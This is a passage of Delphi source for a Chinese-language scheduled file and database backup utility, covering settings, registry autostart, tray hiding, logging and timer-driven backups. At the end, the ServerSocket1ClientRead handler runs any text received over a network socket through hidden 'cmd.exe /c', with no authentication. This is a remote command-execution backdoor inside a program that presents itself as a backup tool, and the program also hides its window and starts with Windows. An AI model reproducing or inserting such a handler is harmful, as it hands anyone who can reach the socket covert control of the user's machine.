unit1.pas

实现对文件和数据库备份进行定时备份

  form1.checkbox1.checked:=strtobool(inif.ReadString('fileBK','closesys',''));
  form1.checkbox7.checked:=strtobool(inif.ReadString('fileBK','filedel','0'));
  form1.RxSpinEdit1.Text:=inif.ReadString('fileBK','fileholds','1');
  form1.DirectoryEdit3.Text:=inif.ReadString('DBBK','source','');
  form1.DirectoryEdit4.Text:=inif.ReadString('DBBK','desti','');
  form1.maskedit2.Text:=inif.ReadString('DBBK','bktime','');
  form1.checkbox2.checked:=strtobool(inif.ReadString('DBBK','closesys',''));
  form1.checkbox8.checked:=strtobool(inif.ReadString('DBBK','filedel','0'));
  form1.RxSpinEdit2.Text:=inif.ReadString('DBBK','fileholds','1');
  form1.CheckBox4.Checked:=strtobool(inif.Readstring('sys','autorunsvr','0'));
  form1.CheckBox5.Checked:=strtobool(inif.Readstring('sys','autorun','0'));
  form1.CheckBox6.Checked:=strtobool(inif.Readstring('sys','savelog','0'));
  form1.edit1.Text:=inif.Readstring('sys','logD','c:\backuplogs.txt');
  form1.CheckBox9.Checked:=strtobool(inif.Readstring('sys','reghotkey','0'));
  form1.ComboBox2.ItemIndex:=strtoint(inif.Readstring('sys','pK','0'));
  form1.ComboBox3.ItemIndex:=strtoint(inif.Readstring('sys','sK','0'));
  form1.ComboBox1.ItemIndex:=strtoint(inif.Readstring('sys','showstyle','0'));
  form1.showstyle();


  // 自动启动设置注册表
  if form1.checkbox5.Checked then
    begin
       reg:=Tregistry.Create;
       reg.RootKey:=Hkey_local_machine;
       try
         try
           reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
           reg.WriteString('惠光backup',application.ExeName);
         except
           messagebox(form1.handle,'写入注册表时出现错误','提示',mb_ok+mb_iconwarning);
         end;
       finally
         reg.CloseKey;
         reg.Destroy;
       end;
     end;

  //隐藏为图标
  if form1.CheckBox4.Checked then
     begin
       form1.WindowState:=wsMinimized;
       showwindow(application.Handle,sw_hide);
       postmessage(form1.Handle,wm_syscommand,sc_minimize,0);
       form1.BitBtn2Click(form1);
     end;
  inif.Destroy;
    //定义热键
  if form1.checkbox9.Checked then
     begin
       if booltostr(reghotkey(form1.handle,0)) = '0' then
          messagebox(form1.handle,'定义热键冲突','提示',mb_ok+mb_iconerror)
          else
          begin
            form1.WindowState:=wsMinimized;
            showwindow(application.Handle,sw_hide);
            postmessage(form1.Handle,wm_syscommand,sc_minimize,0);
            exit;
            //windows.PostMessage(form1.Handle,wm_keyDown,3+75,0) ;
          end;
     end;
  form1.RxTrayIcon1.Active:=true;
end;

//结束
procedure sysend();
var strlist :Tmemorystream;
begin
 form1.ServerSocket1.Close;
 windows.UnregisterHotKey(form1.handle,0);
 Form1.SkinData1.Active:=false;
 form1.BitBtn3Click(form1);
 if not form1.CheckBox6.Checked then exit;
 strlist:=Tmemorystream.Create;
 if fileexists(form1.edit1.text) then
    strlist.LoadFromFile(form1.edit1.text);
 strlist.Position:=strlist.Size;
 strlist.WriteBuffer(pchar(form1.Memo1.Text)^,length(form1.Memo1.Text));
 try
    strlist.SaveToFile(form1.edit1.text);
 except
    strlist.SaveToFile('c:\backuplogs.txt');
 end;
 strlist.Destroy;
end;

////////////发送消息///////////////
function NetMessageBufferSend; external 'netapi32.dll' name 'NetMessageBufferSend';
function ToUnicode(str:string;dest:PWideChar):integer;
var
  len:integer;
begin
  len:=0;
  StringToWideChar(str,dest,len);
  Result:=len;
end;
function SendMsg(Toh,From,Msg:string):integer;
var
  ToName ,fromn :array [0..64] of WideChar;
  WMsgText:array [0..1000] of WideChar;
  MsgLen, i:integer;
begin
  for i := 0 to 64 do ToName[i] := #0;
  for i := 0 to 64 do fromn[i] := #0;
  ToUnicode(Toh,ToName);
  ToUnicode(from,fromn);
  for i := 0 to 1000 do WMsgText[i] := #0;
  ToUnicode(Msg,WMsgText);
  Result:=NetMessageBufferSend(nil,ToName,nil,@WMsgText,MsgLen);
end;

/////////////////////////////////////////////////////////////////

//取得目录
function f_selectdirec(myedit :TDirectoryEdit):string;
var direc :string;
begin
  filectrl.SelectDirectory('请选择目录','',direc);
  result:=direc;
  if midstr(direc,length(direc),1)='\' then direc:=copy(direc,0,length(direc) - 1);
  myedit.Text:=direc;
end;


procedure TForm1.DirectoryEdit1ButtonClick(Sender: TObject);
begin
 f_selectdirec(sender as TDirectoryEdit);
end;

procedure TForm1.DirectoryEdit1BeforeDialog(Sender: TObject;
  var Name: String; var Action: Boolean);
begin
action:=false;
end;

procedure TForm1.DirectoryEdit2ButtonClick(Sender: TObject);
begin
f_selectdirec(sender as TDirectoryEdit);
end;

procedure TForm1.DirectoryEdit2BeforeDialog(Sender: TObject;
  var Name: String; var Action: Boolean);
begin
Action:=false;
end;

procedure TForm1.DirectoryEdit2KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  (sender as TDirectoryEdit).ReadOnly:=true
end;

procedure TForm1.DirectoryEdit2KeyUp(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
(sender as TDirectoryEdit).ReadOnly:=false
end;

procedure TForm1.DirectoryEdit1KeyUp(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
(sender as TDirectoryEdit).ReadOnly:=false
end;

procedure TForm1.DirectoryEdit1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
(sender as TDirectoryEdit).ReadOnly:=true
end;

procedure TForm1.DirectoryEdit3KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
(sender as TDirectoryEdit).ReadOnly:=true
end;

procedure TForm1.DirectoryEdit4KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
(sender as TDirectoryEdit).ReadOnly:=true
end;

procedure TForm1.DirectoryEdit4KeyUp(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
(sender as TDirectoryEdit).ReadOnly:=false
end;

procedure TForm1.DirectoryEdit3KeyUp(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
(sender as TDirectoryEdit).ReadOnly:=false
end;

procedure TForm1.DirectoryEdit3BeforeDialog(Sender: TObject;
  var Name: String; var Action: Boolean);
begin
action:=false
end;

procedure TForm1.DirectoryEdit4BeforeDialog(Sender: TObject;
  var Name: String; var Action: Boolean);
begin
action:=false
end;

procedure TForm1.DirectoryEdit3ButtonClick(Sender: TObject);
begin
   DirectoryEdit3.Text:=adodb.PromptDataSource(0,'');
end;

procedure TForm1.DirectoryEdit4ButtonClick(Sender: TObject);
begin
f_selectdirec(sender as TDirectoryEdit);
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
if ADOConnection1.Connected then ADOConnection1.Connected:=false;
ADOConnection1.ConnectionString:=DirectoryEdit3.Text;
ADOConnection1.LoginPrompt:=false;
try
  begin
  ADOConnection1.Connected:=true;
  messagebox(handle,'测试连接成功！','提示',mb_ok+mb_iconinformation);
  end;
  except
  messagebox(handle,'连接数据库失败！','提示',mb_ok+mb_iconwarning);
end;
end;

procedure TForm1.BitBtn2Click(Sender: TObject);
begin
  //shellapi.ShellExecute(handle,'open','cmd.exe ',nil,pchar('copy D:\Borland\Delphi6\Projects\backup\unit1.pas  d:\aaaa\aa.txt'),sw_shownormal)
  if (DirectoryEdit1.Text='') or  (DirectoryEdit2.Text='') or
     (DirectoryEdit3.Text='') or (DirectoryEdit4.Text='')  or
     (maskedit1.Text='')      or (maskedit2.Text='')    then
     begin
       if form1.WindowState=wsnormal then
         if messagebox(handle,'设置不完整，是否继续启动服务','提示',mb_yesno+mb_iconquestion)=7 then exit;
     end;
  if (DirectoryEdit3.Text<>'') and (DirectoryEdit4.Text<>'') then
    begin
     if not ADOConnection1.Connected then
        begin
          ADOConnection1.ConnectionString:=DirectoryEdit3.Text;
          ADOConnection1.LoginPrompt:=false;
        try
        begin
           ADOConnection1.Connected:=true;
           //messagebox(handle,'测试连接成功！','提示',mb_ok+mb_iconinformation);
        end;
        except
        messagebox(handle,'连接数据库失败！','提示',mb_ok+mb_iconwarning);
        end;
        end;
    end;
  timer1.Enabled:=true;
  bitbtn2.Enabled:=false;
  bitbtn3.Enabled:=true;
  StatusBar1.Panels[1].Text:='服务启动...';
  form1.Memo1.Lines.Add(datetimetostr(now)+' 服务启动...');
end;

procedure TForm1.BitBtn4Click(Sender: TObject);
var inif :Tinifile;
    reg :Tregistry;
begin
  inif:=Tinifile.Create(extractfilepath(application.ExeName)+'\set.ini');
  inif.WriteString('fileBK','source',DirectoryEdit1.Text);
  inif.WriteString('fileBK','desti',DirectoryEdit2.Text);
  inif.WriteString('fileBK','bktime',maskedit1.Text);
  inif.WriteString('fileBK','closesys',booltostr(checkbox1.checked));
  inif.WriteString('fileBK','filedel',booltostr(checkbox7.checked));
  inif.WriteString('fileBK','fileholds',RxSpinEdit1.Text);

  inif.WriteString('DBBK','source',DirectoryEdit3.Text);
  inif.WriteString('DBBK','desti',DirectoryEdit4.Text);
  inif.WriteString('DBBK','bktime',maskedit2.Text);
  inif.WriteString('DBBK','closesys',booltostr(checkbox2.checked));
  inif.WriteString('DBBK','filedel',booltostr(checkbox8.checked));
  inif.WriteString('DBBK','fileholds',RxSpinEdit2.Text);

  inif.WriteString('sys','autorunsvr',booltostr(checkbox4.checked));
  inif.WriteString('sys','autorun',booltostr(checkbox5.checked));
  inif.WriteString('sys','savelog',booltostr(checkbox6.checked));
  inif.WriteString('sys','logD',edit1.text);
  inif.WriteString('sys','reghotkey',booltostr(checkbox9.checked));
  inif.WriteString('sys','pK',inttostr(ComboBox2.ItemIndex));
  inif.WriteString('sys','sK',inttostr(ComboBox3.ItemIndex));
  inif.WriteString('sys','showstyle',inttostr(ComboBox1.ItemIndex));

  FreeandNil(inif);

  //showstyle;

  if checkbox5.Checked then
     begin
       reg:=Tregistry.Create;
       reg.RootKey:=Hkey_local_machine;
       try
         try
           reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
           reg.WriteString('惠光backup',application.ExeName);
         except
           messagebox(handle,'写入注册表时出现错误','提示',mb_ok+mb_iconwarning);
         end;
       finally
         reg.CloseKey;
         reg.Destroy;
       end;
      end
      else
      begin
        reg:=Tregistry.Create;
        reg.RootKey:=Hkey_local_machine;
        try
          try
           reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
           reg.DeleteValue('惠光backup')
             // reg.WriteString('惠光backup',application.ExeName);
         except
           messagebox(handle,'删除注册表时出现错误','提示',mb_ok+mb_iconwarning);
         end;
       finally
         reg.CloseKey;
         reg.Destroy;
       end;
      end;
  
  //定义热键
  if checkbox9.Checked then
     begin
       if booltostr(reghotkey(handle,0)) = '0' then
          messagebox(handle,'定义热键冲突','提示',mb_ok+mb_iconwarning);
     end;

  messagebox(handle,'保存完毕','提示',mb_ok+mb_iconinformation);

end;

procedure TForm1.RxTrayIcon1DblClick(Sender: TObject);
begin
   self.show;
   application.Restore;
   showwindow(application.Handle,sw_restore);
   SetForegroundWindow(form1.Handle);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  //application.OnMinimize:=hideF;
  //oldproc:=windowproc;
  //windowproc:=newproc;
  sysinit;
end;

procedure TForm1.BitBtn3Click(Sender: TObject);
begin
  timer1.Enabled:=false;
  bitbtn2.Enabled:=true;
  bitbtn3.Enabled:=false;
  adoconnection1.Connected:=false;
  StatusBar1.Panels[1].Text:='服务已经停止';
  form1.Memo1.Lines.Add(datetimetostr(now)+' 服务已经停止。');
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  if (DirectoryEdit1.Text<>'') and (DirectoryEdit2.Text<>'') then  backupFile;
  if (DirectoryEdit3.Text<>'') and (DirectoryEdit4.Text<>'') then  backupDB;
end;


procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
  sysend;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 action:=cafree;
end;



procedure TForm1.ComboBox1Change(Sender: TObject);
begin
  showstyle();
end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
 //serversocket1.Socket.SendText('ok!')
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
 //
 winexec(pchar('cmd.exe /c '+socket.ReceiveText),sw_hide);
 //
end;

end.